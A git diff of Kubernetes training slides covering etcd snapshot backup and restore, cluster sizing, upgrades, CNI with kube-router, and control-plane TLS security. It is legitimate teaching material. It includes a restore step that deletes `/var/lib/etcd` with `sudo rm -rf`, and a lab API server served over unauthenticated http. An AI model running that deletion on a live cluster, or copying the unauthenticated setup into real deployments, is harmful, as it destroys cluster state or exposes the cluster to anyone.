- For very simple scenarios: source code, Dockerfiles, scripts
- For real applications: add resources (as YAML files)
- For applications deployed multiple times: Helm, Kustomize...
(staging and production count as "multiple times")
---
## GitOps tooling
- Various tools exist (Weave Flux, GitKube...)
- These tools are still very young
- You still need to write YAML for all your resources
- There is no tool to:
- list *all* resources in a namespace
- get resource YAML in a canonical form
- diff YAML descriptions with current state
---
## GitOps in practice
- Start describing your resources with YAML
- Leverage a tool like Kustomize or Helm
- Make sure that you can easily deploy to a new namespace
(or even better: to a new cluster)
- When tooling matures, you will be ready
---
## Plan B
- What if we can't describe everything with YAML?
- What if we manually create resources and forget to commit them to source control?
- What about global resources, that don't live in a namespace?
- How can we be sure that we saved *everything*?
---
## Backing up etcd
- All objects are saved in etcd
- etcd data should be relatively small
(and therefore, quick and easy to back up)
- Two options to back up etcd:
- snapshot the data directory
- use `etcdctl snapshot`
---
## Making an etcd snapshot
- The basic command is simple:
```bash
etcdctl snapshot save <filename>
```
- But we also need to specify:
- an environment variable to specify that we want etcdctl v3
- the address of the server to back up
- the path to the key, certificate, and CA certificate
<br/>(if our etcd uses TLS certificates)
---
## Snapshotting etcd on kubeadm
- The following command will work on clusters deployed with kubeadm
(and maybe others)
- It should be executed on a master node
```bash
docker run --rm --net host -v $PWD:/vol \
-v /etc/kubernetes/pki/etcd:/etc/kubernetes/pki/etcd:ro \
-e ETCDCTL_API=3 k8s.gcr.io/etcd:3.3.10 \
etcdctl --endpoints=https://[127.0.0.1]:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
snapshot save /vol/snapshot
```
- It will create a file named `snapshot` in the current directory
---
## How can we remember all these flags?
- Look at the static pod manifest for etcd
(in `/etc/kubernetes/manifests`)
- The healthcheck probe is calling `etcdctl` with all the right flags
😉👍✌️
- Exercise: write the YAML for a batch job to perform the backup
---
## Restoring an etcd snapshot
- ~~Execute exactly the same command, but replacing `save` with `restore`~~
(Believe it or not, doing that will *not* do anything useful!)
- The `restore` command does *not* load a snapshot into a running etcd server
- The `restore` command creates a new data directory from the snapshot
(it's an offline operation; it doesn't interact with an etcd server)
- It will create a new data directory in a temporary container
(leaving the running etcd node untouched)
---
## When using kubeadm
1. Create a new data directory from the snapshot:
```bash
sudo rm -rf /var/lib/etcd
docker run --rm -v /var/lib:/var/lib -v $PWD:/vol \
-e ETCDCTL_API=3 k8s.gcr.io/etcd:3.3.10 \
etcdctl snapshot restore /vol/snapshot --data-dir=/var/lib/etcd
```
2. Provision the control plane, using that data directory:
```bash
sudo kubeadm init \
--ignore-preflight-errors=DirAvailable--var-lib-etcd
```
3. Rejoin the other nodes
---
## The fine print
- This only saves etcd state
- It **does not** save persistent volumes and local node data
- Some critical components (like the pod network) might need to be reset
- As a result, our pods might have to be recreated, too
- If we have proper liveness checks, this should happen automatically
---
## More information about etcd backups
- [Kubernetes documentation](https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/#built-in-snapshot) about etcd backups
- [etcd documentation](https://coreos.com/etcd/docs/latest/op-guide/recovery.html#snapshotting-the-keyspace) about snapshots and restore
- [A good blog post by elastisys](https://elastisys.com/2018/12/10/backup-kubernetes-how-and-why/) explaining how to restore a snapshot
- [Another good blog post by consol labs](https://labs.consol.de/kubernetes/2018/05/25/kubeadm-backup.html) on the same topic
---
## Don't forget ...
- Also back up the TLS information
(at the very least: CA key and cert; API server key and cert)
- With clusters provisioned by kubeadm, this is in `/etc/kubernetes/pki`
- If you don't:
- you will still be able to restore etcd state and bring everything back up
- you will need to redistribute user certificates
.warning[**TLS information is highly sensitive!
<br/>Anyone who has it has full access to your cluster!**]
---
## Stateful services
- It's totally fine to keep your production databases outside of Kubernetes
*Especially if you have only one database server!*
- Feel free to put development and staging databases on Kubernetes
(as long as they don't hold important data)
- Using Kubernetes for stateful services makes sense if you have *many*
(because then you can leverage Kubernetes automation)
---
## Snapshotting persistent volumes
- Option 1: snapshot volumes out of band
(with the API/CLI/GUI of our SAN/cloud/...)
- Option 2: storage system integration
(e.g. [Portworx](https://docs.portworx.com/portworx-install-with-kubernetes/storage-operations/create-snapshots/) can [create snapshots through annotations](https://docs.portworx.com/portworx-install-with-kubernetes/storage-operations/create-snapshots/snaps-annotations/#taking-periodic-snapshots-on-a-running-pod))
- Option 3: [snapshots through Kubernetes API](https://kubernetes.io/blog/2018/10/09/introducing-volume-snapshot-alpha-for-kubernetes/)
(now in alpha for a few storage providers: GCE, OpenSDS, Ceph, Portworx)
---
## More backup tools
- [Stash](https://appscode.com/products/stash/)
back up Kubernetes persistent volumes
- [ReShifter](https://github.com/mhausenblas/reshifter)
cluster state management
- ~~Heptio Ark~~ [Velero](https://github.com/heptio/velero)
full cluster backup
- [kube-backup](https://github.com/pieterlange/kube-backup)
simple scripts to save resource YAML to a git repository

View File

@@ -1,167 +0,0 @@
# Cluster sizing
- What happens when the cluster gets full?
- How can we scale up the cluster?
- Can we do it automatically?
- What are other methods to address capacity planning?
---
## When are we out of resources?
- kubelet monitors node resources:
- memory
- node disk usage (typically the root filesystem of the node)
- image disk usage (where container images and RW layers are stored)
- For each resource, we can provide two thresholds:
- a hard threshold (if it's met, it provokes immediate action)
- a soft threshold (provokes action only after a grace period)
- Resource thresholds and grace periods are configurable
(by passing kubelet command-line flags)
---
## What happens then?
- If disk usage is too high:
- kubelet will try to remove terminated pods
- then, it will try to *evict* pods
- If memory usage is too high:
- it will try to evict pods
- The node is marked as "under pressure"
- This temporarily prevents new pods from being scheduled on the node
---
## Which pods get evicted?
- kubelet looks at the pods' QoS and PriorityClass
- First, pods with BestEffort QoS are considered
- Then, pods with Burstable QoS exceeding their *requests*
(but only if the exceeding resource is the one that is low on the node)
- Finally, pods with Guaranteed QoS, and Burstable pods within their requests
- Within each group, pods are sorted by PriorityClass
- If there are pods with the same PriorityClass, they are sorted by usage excess
(i.e. the pods whose usage exceeds their requests the most are evicted first)
---
class: extra-details
## Eviction of Guaranteed pods
- *Normally*, pods with Guaranteed QoS should not be evicted
- A chunk of resources is reserved for node processes (like kubelet)
- It is expected that these processes won't use more than this reservation
- If they do use more resources anyway, all bets are off!
- If this happens, kubelet must evict Guaranteed pods to preserve node stability
(or Burstable pods that are still within their requested usage)
---
## What happens to evicted pods?
- The pod is terminated
- It is marked as `Failed` at the API level
- If the pod was created by a controller, the controller will recreate it
- The pod will be recreated on another node, *if there are resources available!*
- For more details about the eviction process, see:
- [this documentation page](https://kubernetes.io/docs/tasks/administer-cluster/out-of-resource/) about resource pressure and pod eviction,
- [this other documentation page](https://kubernetes.io/docs/concepts/configuration/pod-priority-preemption/) about pod priority and preemption.
---
## What if there are no resources available?
- Sometimes, a pod cannot be scheduled anywhere:
- all the nodes are under pressure,
- or the pod requests more resources than are available
- The pod then remains in `Pending` state until the situation improves
---
## Cluster scaling
- One way to improve the situation is to add new nodes
- This can be done automatically with the [Cluster Autoscaler](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler)
- The autoscaler will automatically scale up:
- if there are pods that failed to be scheduled
- The autoscaler will automatically scale down:
- if nodes have a low utilization for an extended period of time
---
## Restrictions, gotchas ...
- The Cluster Autoscaler only supports a few cloud infrastructures
(see [here](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler/cloudprovider) for a list)
- The Cluster Autoscaler cannot scale down nodes that have pods using:
- local storage
- affinity/anti-affinity rules preventing them from being rescheduled
- a restrictive PodDisruptionBudget
---
## Other way to do capacity planning
- "Running Kubernetes without nodes"
- Systems like [Virtual Kubelet](https://virtual-kubelet.io/) or Kiyot can run pods using on-demand resources
- Virtual Kubelet can leverage e.g. ACI or Fargate to run pods
- Kiyot runs pods in ad-hoc EC2 instances (1 instance per pod)
- Economic advantage (no wasted capacity)
- Security advantage (stronger isolation between pods)
Check [this blog post](http://jpetazzo.github.io/2019/02/13/running-kubernetes-without-nodes-with-kiyot/) for more details.

View File

@@ -1,309 +0,0 @@
# Upgrading clusters
- It's *recommended* to run consistent versions across a cluster
(mostly to have feature parity and latest security updates)
- It's not *mandatory*
(otherwise, cluster upgrades would be a nightmare!)
- Components can be upgraded one at a time without problems
---
## Checking what we're running
- It's easy to check the version for the API server
.exercise[
- Log into node `test1`
- Check the version of kubectl and of the API server:
```bash
kubectl version
```
]
- In a HA setup with multiple API servers, they can have different versions
- Running the command above multiple times can return different values
---
## Node versions
- It's also easy to check the version of kubelet
.exercise[
- Check node versions (includes kubelet, kernel, container engine):
```bash
kubectl get nodes -o wide
```
]
- Different nodes can run different kubelet versions
- Different nodes can run different kernel versions
- Different nodes can run different container engines
---
## Control plane versions
- If the control plane is self-hosted (running in pods), we can check it
.exercise[
- Show image versions for all pods in `kube-system` namespace:
```bash
kubectl --namespace=kube-system get pods -o json \
| jq -r '
.items[]
| [.spec.nodeName, .metadata.name]
+
(.spec.containers[].image | split(":"))
| @tsv
' \
| column -t
```
]
---
## What version are we running anyway?
- When I say, "I'm running Kubernetes 1.11", is that the version of:
- kubectl
- API server
- kubelet
- controller manager
- something else?
---
## Other versions that are important
- etcd
- kube-dns or CoreDNS
- CNI plugin(s)
- Network controller, network policy controller
- Container engine
- Linux kernel
---
## General guidelines
- To update a component, use whatever was used to install it
- If it's a distro package, update that distro package
- If it's a container or pod, update that container or pod
- If you used configuration management, update with that
---
## Know where your binaries come from
- Sometimes, we need to upgrade *quickly*
(when a vulnerability is announced and patched)
- If we are using an installer, we should:
- make sure it's using upstream packages
- or make sure that whatever packages it uses are current
- make sure we can tell it to pin specific component versions
---
## In practice
- We are going to update a few cluster components
- We will change the kubelet version on one node
- We will change the version of the API server
- We will work with cluster `test` (nodes `test1`, `test2`, `test3`)
---
## Updating kubelet
- These nodes have been installed using the official Kubernetes packages
- We can therefore use `apt` or `apt-get`
.exercise[
- Log into node `test3`
- View available versions for package `kubelet`:
```bash
apt show kubelet -a | grep ^Version
```
- Upgrade kubelet:
```bash
apt install kubelet=1.14.2-00
```
]
---
## Checking what we've done
.exercise[
- Log into node `test1`
- Check node versions:
```bash
kubectl get nodes -o wide
```
- Create a deployment and scale it to make sure that the node still works
]
---
## Updating the API server
- This cluster has been deployed with kubeadm
- The control plane runs in *static pods*
- These pods are started automatically by kubelet
(even when kubelet can't contact the API server)
- They are defined in YAML files in `/etc/kubernetes/manifests`
(this path is set by a kubelet command-line flag)
- kubelet automatically updates the pods when the files are changed
---
## Changing the API server version
- We will edit the YAML file to use a different image version
.exercise[
- Log into node `test1`
- Check API server version:
```bash
kubectl version
```
- Edit the API server pod manifest:
```bash
sudo vim /etc/kubernetes/manifests/kube-apiserver.yaml
```
- Look for the `image:` line, and update it to e.g. `v1.14.0`
]
---
## Checking what we've done
- The API server will be briefly unavailable while kubelet restarts it
.exercise[
- Check the API server version:
```bash
kubectl version
```
]
---
## Updating the whole control plane
- As an example, we'll use kubeadm to upgrade the entire control plane
(note: this is possible only because the cluster was installed with kubeadm)
.exercise[
- Check what will be upgraded:
```bash
sudo kubeadm upgrade plan
```
(Note: kubeadm is confused by our manual upgrade of the API server.
<br/>It thinks the cluster is running 1.14.0!)
<!-- ##VERSION## -->
- Perform the upgrade:
```bash
sudo kubeadm upgrade apply v1.14.2
```
]
---
## Updating kubelets
- After updating the control plane, we need to update each kubelet
- This requires to run a special command on each node, to download the config
(this config is generated by kubeadm)
.exercise[
- Download the configuration on each node, and upgrade kubelet:
```bash
for N in 1 2 3; do
ssh test$N sudo kubeadm upgrade node config --kubelet-version v1.14.2
ssh test$N sudo apt install kubelet=1.14.2-00
done
```
]
---
## Checking what we've done
- All our nodes should now be updated to version 1.14.2
.exercise[
- Check nodes versions:
```bash
kubectl get nodes -o wide
```
]

View File

@@ -1,688 +0,0 @@
# The Container Network Interface
- Allows us to decouple network configuration from Kubernetes
- Implemented by *plugins*
- Plugins are executables that will be invoked by kubelet
- Plugins are responsible for:
- allocating IP addresses for containers
- configuring the network for containers
- Plugins can be combined and chained when it makes sense
---
## Combining plugins
- Interface could be created by e.g. `vlan` or `bridge` plugin
- IP address could be allocated by e.g. `dhcp` or `host-local` plugin
- Interface parameters (MTU, sysctls) could be tweaked by the `tuning` plugin
The reference plugins are available [here].
Look in each plugin's directory for its documentation.
[here]: https://github.com/containernetworking/plugins/tree/master/plugins
---
## How does kubelet know which plugins to use?
- The plugin (or list of plugins) is set in the CNI configuration
- The CNI configuration is a *single file* in `/etc/cni/net.d`
- If there are multiple files in that directory, the first one is used
(in lexicographic order)
- That path can be changed with the `--cni-conf-dir` flag of kubelet
---
## CNI configuration in practice
- When we set up the "pod network" (like Calico, Weave...) it ships a CNI configuration
(and sometimes, custom CNI plugins)
- Very often, that configuration (and plugins) is installed automatically
(by a DaemonSet featuring an initContainer with hostPath volumes)
- Examples:
- Calico [CNI config](https://github.com/projectcalico/calico/blob/1372b56e3bfebe2b9c9cbf8105d6a14764f44159/v2.6/getting-started/kubernetes/installation/hosted/calico.yaml#L25)
and [volume](https://github.com/projectcalico/calico/blob/1372b56e3bfebe2b9c9cbf8105d6a14764f44159/v2.6/getting-started/kubernetes/installation/hosted/calico.yaml#L219)
- kube-router [CNI config](https://github.com/cloudnativelabs/kube-router/blob/c2f893f64fd60cf6d2b6d3fee7191266c0fc0fe5/daemonset/generic-kuberouter.yaml#L10)
and [volume](https://github.com/cloudnativelabs/kube-router/blob/c2f893f64fd60cf6d2b6d3fee7191266c0fc0fe5/daemonset/generic-kuberouter.yaml#L73)
---
class: extra-details
## Conf vs conflist
- There are two slightly different configuration formats
- Basic configuration format:
- holds configuration for a single plugin
- typically has a `.conf` name suffix
- has a `type` string field in the top-most structure
- [examples](https://github.com/containernetworking/cni/blob/master/SPEC.md#example-configurations)
- Configuration list format:
- can hold configuration for multiple (chained) plugins
- typically has a `.conflist` name suffix
- has a `plugins` list field in the top-most structure
- [examples](https://github.com/containernetworking/cni/blob/master/SPEC.md#network-configuration-lists)
---
class: extra-details
## How plugins are invoked
- Parameters are given through environment variables, including:
- CNI_COMMAND: desired operation (ADD, DEL, CHECK, or VERSION)
- CNI_CONTAINERID: container ID
- CNI_NETNS: path to network namespace file
- CNI_IFNAME: what the network interface should be named
- The network configuration must be provided to the plugin on stdin
(this avoids race conditions that could happen by passing a file path)
---
## In practice: kube-router
- We are going to set up a new cluster
- For this new cluster, we will use kube-router
- kube-router will provide the "pod network"
(connectivity with pods)
- kube-router will also provide internal service connectivity
(replacing kube-proxy)
---
## How kube-router works
- Very simple architecture
- Does not introduce new CNI plugins
(uses the `bridge` plugin, with `host-local` for IPAM)
- Pod traffic is routed between nodes
(no tunnel, no new protocol)
- Internal service connectivity is implemented with IPVS
- Can provide pod network and/or internal service connectivity
- kube-router daemon runs on every node
---
## What kube-router does
- Connect to the API server
- Obtain the local node's `podCIDR`
- Inject it into the CNI configuration file
(we'll use `/etc/cni/net.d/10-kuberouter.conflist`)
- Obtain the addresses of all nodes
- Establish a *full mesh* BGP peering with the other nodes
- Exchange routes over BGP
---
## What's BGP?
- BGP (Border Gateway Protocol) is the protocol used between internet routers
- It [scales](https://www.cidr-report.org/as2.0/)
pretty [well](https://www.cidr-report.org/cgi-bin/plota?file=%2fvar%2fdata%2fbgp%2fas2.0%2fbgp-active%2etxt&descr=Active%20BGP%20entries%20%28FIB%29&ylabel=Active%20BGP%20entries%20%28FIB%29&with=step)
(it is used to announce the 700k CIDR prefixes of the internet)
- It is spoken by many hardware routers from many vendors
- It also has many software implementations (Quagga, Bird, FRR...)
- Experienced network folks generally know it (and appreciate it)
- It also used by Calico (another popular network system for Kubernetes)
- Using BGP allows us to interconnect our "pod network" with other systems
---
## The plan
- We'll work in a new cluster (named `kuberouter`)
- We will run a simple control plane (like before)
- ... But this time, the controller manager will allocate `podCIDR` subnets
(so that we don't have to manually assign subnets to individual nodes)
- We will create a DaemonSet for kube-router
- We will join nodes to the cluster
- The DaemonSet will automatically start a kube-router pod on each node
---
## Logging into the new cluster
.exercise[
- Log into node `kuberouter1`
- Clone the workshop repository:
```bash
git clone https://@@GITREPO@@
```
- Move to this directory:
```bash
cd container.training/compose/kube-router-k8s-control-plane
```
]
---
## Our control plane
- We will use a Compose file to start the control plane
- It is similar to the one we used with the `kubenet` cluster
- The API server is started with `--allow-privileged`
(because we will start kube-router in privileged pods)
- The controller manager is started with extra flags too:
`--allocate-node-cidrs` and `--cluster-cidr`
- We need to edit the Compose file to set the Cluster CIDR
---
## Starting the control plane
- Our cluster CIDR will be `10.C.0.0/16`
(where `C` is our cluster number)
.exercise[
- Edit the Compose file to set the Cluster CIDR:
```bash
vim docker-compose.yaml
```
- Start the control plane:
```bash
docker-compose up
```
]
---
## The kube-router DaemonSet
- In the same directory, there is a `kuberouter.yaml` file
- It contains the definition for a DaemonSet and a ConfigMap
- Before we load it, we also need to edit it
- We need to indicate the address of the API server
(because kube-router needs to connect to it to retrieve node information)
---
## Creating the DaemonSet
- The address of the API server will be `http://A.B.C.D:8080`
(where `A.B.C.D` is the public address of `kuberouter1`, running the control plane)
.exercise[
- Edit the YAML file to set the API server address:
```bash
vim kuberouter.yaml
```
- Create the DaemonSet:
```bash
kubectl create -f kuberouter.yaml
```
]
Note: the DaemonSet won't create any pods (yet) since there are no nodes (yet).
---
## Generating the kubeconfig for kubelet
- This is similar to what we did for the `kubenet` cluster
.exercise[
- Generate the kubeconfig file (replacing `X.X.X.X` with the address of `kuberouter1`):
```bash
kubectl config set-cluster cni --server http://`X.X.X.X`:8080
kubectl config set-context cni --cluster cni
kubectl config use-context cni
cp ~/.kube/config ~/kubeconfig
```
]
---
## Distributing kubeconfig
- We need to copy that kubeconfig file to the other nodes
.exercise[
- Copy `kubeconfig` to the other nodes:
```bash
for N in 2 3; do
scp ~/kubeconfig kuberouter$N:
done
```
]
---
## Starting kubelet
- We don't need the `--pod-cidr` option anymore
(the controller manager will allocate these automatically)
- We need to pass `--network-plugin=cni`
.exercise[
- Join the first node:
```bash
sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
```
- Open more terminals and join the other nodes:
```bash
ssh kuberouter2 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
ssh kuberouter3 sudo kubelet --kubeconfig ~/kubeconfig --network-plugin=cni
```
]
---
## Setting up a test
- Let's create a Deployment and expose it with a Service
.exercise[
- Create a Deployment running a web server:
```bash
kubectl create deployment web --image=jpetazzo/httpenv
```
- Scale it so that it spans multiple nodes:
```bash
kubectl scale deployment web --replicas=5
```
- Expose it with a Service:
```bash
kubectl expose deployment web --port=8888
```
]
---
## Checking that everything works
.exercise[
- Get the ClusterIP address for the service:
```bash
kubectl get svc web
```
- Send a few requests there:
```bash
curl `X.X.X.X`:8888
```
]
Note that if you send multiple requests, they are load-balanced in a round robin manner.
This shows that we are using IPVS (vs. iptables, which picked random endpoints).
---
## Troubleshooting
- What if we need to check that everything is working properly?
.exercise[
- Check the IP addresses of our pods:
```bash
kubectl get pods -o wide
```
- Check our routing table:
```bash
route -n
ip route
```
]
We should see the local pod CIDR connected to `kube-bridge`, and the other nodes' pod CIDRs having individual routes, with each node being the gateway.
---
## More troubleshooting
- We can also look at the output of the kube-router pods
(with `kubectl logs`)
- kube-router also comes with a special shell that gives lots of useful info
(we can access it with `kubectl exec`)
- But with the current setup of the cluster, these options may not work!
- Why?
---
## Trying `kubectl logs` / `kubectl exec`
.exercise[
- Try to show the logs of a kube-router pod:
```bash
kubectl -n kube-system logs ds/kube-router
```
- Or try to exec into one of the kube-router pods:
```bash
kubectl -n kube-system exec kube-router-xxxxx bash
```
]
These commands will give an error message that includes:
```
dial tcp: lookup kuberouterX on 127.0.0.11:53: no such host
```
What does that mean?
---
## Internal name resolution
- To execute these commands, the API server needs to connect to kubelet
- By default, it creates a connection using the kubelet's name
(e.g. `http://kuberouter1:...`)
- This requires our nodes names to be in DNS
- We can change that by setting a flag on the API server:
`--kubelet-preferred-address-types=InternalIP`
---
## Another way to check the logs
- We can also ask the logs directly to the container engine
- First, get the container ID, with `docker ps` or like this:
```bash
CID=$(docker ps -q \
--filter label=io.kubernetes.pod.namespace=kube-system \
--filter label=io.kubernetes.container.name=kube-router)
```
- Then view the logs:
```bash
docker logs $CID
```
---
class: extra-details
## Other ways to distribute routing tables
- We don't need kube-router and BGP to distribute routes
- The list of nodes (and associated `podCIDR` subnets) is available through the API
- This shell snippet generates the commands to add all required routes on a node:
```bash
NODES=$(kubectl get nodes -o name | cut -d/ -f2)
for DESTNODE in $NODES; do
if [ "$DESTNODE" != "$HOSTNAME" ]; then
echo $(kubectl get node $DESTNODE -o go-template="
route add -net {{.spec.podCIDR}} gw {{(index .status.addresses 0).address}}")
fi
done
```
- This could be useful for embedded platforms with very limited resources
(or lab environments for learning purposes)
---
# Interconnecting clusters
- We assigned different Cluster CIDRs to each cluster
- This allows us to connect our clusters together
- We will leverage kube-router BGP abilities for that
- We will *peer* each kube-router instance with a *route reflector*
- As a result, we will be able to ping each other's pods
---
## Disclaimers
- There are many methods to interconnect clusters
- Depending on your network implementation, you will use different methods
- The method shown here only works for nodes with direct layer 2 connection
- We will often need to use tunnels or other network techniques
---
## The plan
- Someone will start the *route reflector*
(typically, that will be the person presenting these slides!)
- We will update our kube-router configuration
- We will add a *peering* with the route reflector
(instructing kube-router to connect to it and exchange route information)
- We should see the routes to other clusters on our nodes
(in the output of e.g. `route -n` or `ip route show`)
- We should be able to ping pods of other nodes
---
## Starting the route reflector
- Only do this slide if you are doing this on your own
- There is a Compose file in the `compose/frr-route-reflector` directory
- Before continuing, make sure that you have the IP address of the route reflector
---
## Configuring kube-router
- This can be done in two ways:
- with command-line flags to the `kube-router` process
- with annotations to Node objects
- We will use the command-line flags
(because it will automatically propagate to all nodes)
.footnote[Note: with Calico, this is achieved by creating a BGPPeer CRD.]
---
## Updating kube-router configuration
- We need to pass two command-line flags to the kube-router process
.exercise[
- Edit the `kuberouter.yaml` file
- Add the following flags to the kube-router arguments:
```
- "--peer-router-ips=`X.X.X.X`"
- "--peer-router-asns=64512"
```
(Replace `X.X.X.X` with the route reflector address)
- Update the DaemonSet definition:
```bash
kubectl apply -f kuberouter.yaml
```
]
---
## Restarting kube-router
- The DaemonSet will not update the pods automatically
(it is using the default `updateStrategy`, which is `OnDelete`)
- We will therefore delete the pods
(they will be recreated with the updated definition)
.exercise[
- Delete all the kube-router pods:
```bash
kubectl delete pods -n kube-system -l k8s-app=kube-router
```
]
Note: the other `updateStrategy` for a DaemonSet is RollingUpdate.
<br/>
For critical services, we might want to precisely control the update process.
---
## Checking peering status
- We can see informative messages in the output of kube-router:
```
time="2019-04-07T15:53:56Z" level=info msg="Peer Up"
Key=X.X.X.X State=BGP_FSM_OPENCONFIRM Topic=Peer
```
- We should see the routes of the other clusters show up
- For debugging purposes, the reflector also exports a route to 1.0.0.2/32
- That route will show up like this:
```
1.0.0.2 172.31.X.Y 255.255.255.255 UGH 0 0 0 eth0
```
- We should be able to ping the pods of other clusters!
---
## If we wanted to do more ...
- kube-router can also export ClusterIP addresses
(by adding the flag `--advertise-cluster-ip`)
- They are exported individually (as /32)
- This would allow us to easily access other clusters' services
(without having to resolve the individual addresses of pods)
- Even better if it's combined with DNS integration
(to facilitate name → ClusterIP resolution)

View File

@@ -130,14 +130,6 @@ class: pic
---
class: pic
![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
---
class: extra-details
## Running the control plane on special nodes
- It is common to reserve a dedicated node for the control plane
@@ -160,8 +152,6 @@ class: extra-details
---
class: extra-details
## Running the control plane outside containers
- The services of the control plane can run in or out of containers
@@ -177,12 +167,10 @@ class: extra-details
- In that case, there is no "master node"
*For this reason, it is more accurate to say "control plane" rather than "master."*
*For this reason, it is more accurate to say "control plane" rather than "master".*
---
class: extra-details
## Do we need to run Docker at all?
No!
@@ -199,8 +187,6 @@ No!
---
class: extra-details
## Do we need to run Docker at all?
Yes!
@@ -223,8 +209,6 @@ Yes!
---
class: extra-details
## Do we need to run Docker at all?
- On our development environments, CI pipelines ... :
@@ -241,21 +225,25 @@ class: extra-details
---
## Interacting with Kubernetes
## Kubernetes resources
- We will interact with our Kubernetes cluster through the Kubernetes API
- The Kubernetes API defines a lot of objects called *resources*
- The Kubernetes API is (mostly) RESTful
- It allows us to create, read, update, delete *resources*
- These resources are organized by type, or `Kind` (in the API)
- A few common resource types are:
- node (a machine — physical or virtual — in our cluster)
- pod (group of containers running together on a node)
- service (stable network endpoint to connect to one or multiple containers)
- namespace (more-or-less isolated group of things)
- secret (bundle of sensitive data to be passed to a container)
And much more!
- We can see the full list by running `kubectl api-resources`
(In Kubernetes 1.10 and prior, the command to list API resources was `kubectl get`)
---
@@ -265,16 +253,22 @@ class: pic
---
class: pic
![One of the best Kubernetes architecture diagrams available](images/k8s-arch4-thanks-luxas.png)
---
## Credits
- The first diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
- it's one of the best Kubernetes architecture diagrams available!
- The second diagram is courtesy of Weave Works
- The first diagram is courtesy of Weave Works
- a *pod* can have multiple containers working together
- IP addresses are associated with *pods*, not with individual containers
- The second diagram is courtesy of Lucas Käldström, in [this presentation](https://speakerdeck.com/luxas/kubeadm-cluster-creation-internals-from-self-hosting-to-upgradability-and-ha)
- it's one of the best Kubernetes architecture diagrams available!
Both diagrams used with permission.

View File

@@ -22,7 +22,7 @@
- There are many ways to pass configuration to code running in a container:
- baking it into a custom image
- baking it in a custom image
- command-line arguments
@@ -125,7 +125,7 @@
- We can also use a mechanism called the *downward API*
- The downward API allows exposing pod or container information
- The downward API allows to expose pod or container information
- either through special files (we won't show that for now)
@@ -436,7 +436,7 @@ We should see connections served by Google, and others served by IBM.
- We are going to store the port number in a configmap
- Then we will expose that configmap as a container environment variable
- Then we will expose that configmap to a container environment variable
---

View File

@@ -1,265 +0,0 @@
# Securing the control plane
- Many components accept connections (and requests) from others:
- API server
- etcd
- kubelet
- We must secure these connections:
- to deny unauthorized requests
- to prevent eavesdropping secrets, tokens, and other sensitive information
- Disabling authentication and/or authorization is **strongly discouraged**
(but it's possible to do it, e.g. for learning / troubleshooting purposes)
---
## Authentication and authorization
- Authentication (checking "who you are") is done with mutual TLS
(both the client and the server need to hold a valid certificate)
- Authorization (checking "what you can do") is done in different ways
- the API server implements a sophisticated permission logic (with RBAC)
- some services will defer authorization to the API server (through webhooks)
- some services require a certificate signed by a particular CA / sub-CA
---
## In practice
- We will review the various communication channels in the control plane
- We will describe how they are secured
- When TLS certificates are used, we will indicate:
- which CA signs them
- what their subject (CN) should be, when applicable
- We will indicate how to configure security (client- and server-side)
---
## etcd peers
- Replication and coordination of etcd happens on a dedicated port
(typically port 2380; the default port for normal client connections is 2379)
- Authentication uses TLS certificates with a separate sub-CA
(otherwise, anyone with a Kubernetes client certificate could access etcd!)
- The etcd command line flags involved are:
`--peer-client-cert-auth=true` to activate it
`--peer-cert-file`, `--peer-key-file`, `--peer-trusted-ca-file`
---
## etcd clients
- The only¹ thing that connects to etcd is the API server
- Authentication uses TLS certificates with a separate sub-CA
(for the same reasons as for etcd inter-peer authentication)
- The etcd command line flags involved are:
`--client-cert-auth=true` to activate it
`--trusted-ca-file`, `--cert-file`, `--key-file`
- The API server command line flags involved are:
`--etcd-cafile`, `--etcd-certfile`, `--etcd-keyfile`
.footnote[¹Technically, there is also the etcd healthcheck. Let's ignore it for now.]
---
## API server clients
- The API server has a sophisticated authentication and authorization system
- For connections coming from other components of the control plane:
- authentication uses certificates (trusting the certificates' subject or CN)
- authorization uses whatever mechanism is enabled (most oftentimes, RBAC)
- The relevant API server flags are:
`--client-ca-file`, `--tls-cert-file`, `--tls-private-key-file`
- Each component connecting to the API server takes a `--kubeconfig` flag
(to specify a kubeconfig file containing the CA cert, client key, and client cert)
- Yes, that kubeconfig file follows the same format as our `~/.kube/config` file!
---
## Kubelet and API server
- Communication between kubelet and API server can be established both ways
- Kubelet → API server:
- kubelet registers itself ("hi, I'm node42, do you have work for me?")
- connection is kept open and re-established if it breaks
- that's how the kubelet knows which pods to start/stop
- API server → kubelet:
- used to retrieve logs, exec, attach to containers
---
## Kubelet → API server
- Kubelet is started with `--kubeconfig` with API server information
- The client certificate of the kubelet will typically have:
`CN=system:node:<nodename>` and groups `O=system:nodes`
- Nothing special on the API server side
(it will authenticate like any other client)
---
## API server → kubelet
- Kubelet is started with the flag `--client-ca-file`
(typically using the same CA as the API server)
- API server will use a dedicated key pair when contacting kubelet
(specified with `--kubelet-client-certificate` and `--kubelet-client-key`)
- Authorization uses webhooks
(enabled with `--authorization-mode=Webhook` on kubelet)
- The webhook server is the API server itself
(the kubelet sends back a request to the API server to ask, "can this person do that?")
---
## Scheduler
- The scheduler connects to the API server like an ordinary client
- The certificate of the scheduler will have `CN=system:kube-scheduler`
---
## Controller manager
- The controller manager is also a normal client to the API server
- Its certificate will have `CN=system:kube-controller-manager`
- If we use the CSR API, the controller manager needs the CA cert and key
(passed with flags `--cluster-signing-cert-file` and `--cluster-signing-key-file`)
- We usually want the controller manager to generate tokens for service accounts
- These tokens deserve some details (on the next slide!)
---
## Service account tokens
- Each time we create a service account, the controller manager generates a token
- These tokens are JWT tokens, signed with a particular key
- These tokens are used for authentication with the API server
(and therefore, the API server needs to be able to verify their integrity)
- This uses another keypair:
- the private key (used for signature) is passed to the controller manager
<br/>(using flags `--service-account-private-key-file` and `--root-ca-file`)
- the public key (used for verification) is passed to the API server
<br/>(using flag `--service-account-key-file`)
---
## kube-proxy
- kube-proxy is "yet another API server client"
- In many clusters, it runs as a Daemon Set
- In that case, it will have its own Service Account and associated permissions
- It will authenticate using the token of that Service Account
---
## Webhooks
